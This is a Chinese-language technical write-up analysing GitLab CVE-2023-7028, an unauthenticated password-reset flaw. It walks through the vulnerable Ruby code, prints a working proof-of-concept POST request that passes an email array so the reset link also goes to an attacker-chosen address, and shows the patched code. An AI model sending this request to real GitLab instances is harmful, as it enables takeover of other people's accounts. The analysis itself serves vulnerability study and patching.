浅析Gitlab未授权密码重置(CVE-2023-7028) {#浅析Gitlab未授权密码重置-CVE-2023-7028}
可以看到在原来的逻辑当中app/models/concerns/recoverable_by_any_email.rb
|------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| module RecoverableByAnyEmail extend ActiveSupport::Concern class_methods do def send_reset_password_instructions(attributes = {}) email = attributes.delete(:email) super unless email recoverable = by_email_with_errors(email) recoverable.send_reset_password_instructions(to: email) if recoverable&.persisted? recoverable end private def by_email_with_errors(email) record = find_by_any_email(email, confirmed: true) || new record.errors.add(:email, :invalid) unless record.persisted? record end end def send_reset_password_instructions(opts = {}) token = set_reset_password_token send_reset_password_instructions_notification(token, opts) token end private def send_reset_password_instructions_notification(token, opts = {}) send_devise_notification(:reset_password_instructions, token, opts) end end
|
首先获取参数email
,通过by_email_with_errors
方法查找用户,如果未找到用户也会向记录中添加错误,接下来我们具体看看find_by_any_email
方法,如果email
参数存在则继续向下执行by_any_email
方法
|-------------------|-------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5
| def find_by_any_email(email, confirmed: false) return unless email by_any_email(email, confirmed: confirmed).take end
|
在这里我们也不必要梳理具体的逻辑,从by_user_email
的参数我们可以看出,它通过iwhere
去查找对应的记录,同时我们可以发现从参数类型可以看到它是支持数组的!如果记录存在就会触发密码重置邮件的发送。
|------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| def by_any_email(emails, confirmed: false) from_users = by_user_email(emails) from_users = from_users.confirmed if confirmed from_emails = by_emails(emails).merge(Email.confirmed) from_emails = from_emails.confirmed if confirmed items = [from_users, from_emails] user_ids = Gitlab::PrivateCommitEmail.user_ids_for_emails(Array(emails).map(&:downcase)) items << where(id: user_ids) if user_ids.present? from_union(items) end xxx省略xxx scope :by_user_email, -> (emails) { iwhere(email: Array(emails)) } scope :by_emails, -> (emails) { joins(:emails).where(emails: { email: Array(emails).map(&:downcase) }) } scope :for_todos, -> (todos) { where(id: todos.select(:user_id).distinct) } scope :with_emails, -> { preload(:emails) } scope :with_dashboard, -> (dashboard) { where(dashboard: dashboard) } scope :with_public_profile, -> { where(private_profile: false) } scope :with_expiring_and_not_notified_personal_access_tokens, ->(at) do where('EXISTS (?)', ::PersonalAccessToken .where('personal_access_tokens.user_id = users.id') .without_impersonation .expiring_and_not_notified(at).select(1) )
|
因此我们不难构造其poc
|-------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5
| POST /users/password HTTP/1.1 Host: 118.195.225.92:8090 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 authenticity_token=GNymVmxzUZVZrVqQS5cCtrlDwdbdGpmh4v4ojIqKc1r_yUalsQ7K5QclCQihuK88E2lJvcMGcPr5E4uJH1qtGw&user[email][]=123@163.com&user[email][]=47.109.68.247:1234/?a=@qq.com
|
简单看一下修复后的代码,虽然代码变动还是蛮大的,但是我们不难发现有一点,在查询时调用了attributes[:email].to_s
,这个to_s
其实就会将其转换为字符串,也避免了数组的问题,后面还有些其他的改动当然不是很重要,有兴趣自己看看
|---------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| module RecoverableByAnyEmail extend ActiveSupport::Concern class_methods do def send_reset_password_instructions(attributes = {}) return super unless attributes[:email] email = Email.confirmed.find_by(email: attributes[:email].to_s) return super unless email recoverable = email.user recoverable.send_reset_password_instructions(to: email.email) recoverable end end def send_reset_password_instructions(opts = {}) token = set_reset_password_token send_reset_password_instructions_notification(token, opts) token end protected def send_reset_password_instructions_notification(token, opts = {}) send_devise_notification(:reset_password_instructions, token, opts) end end
|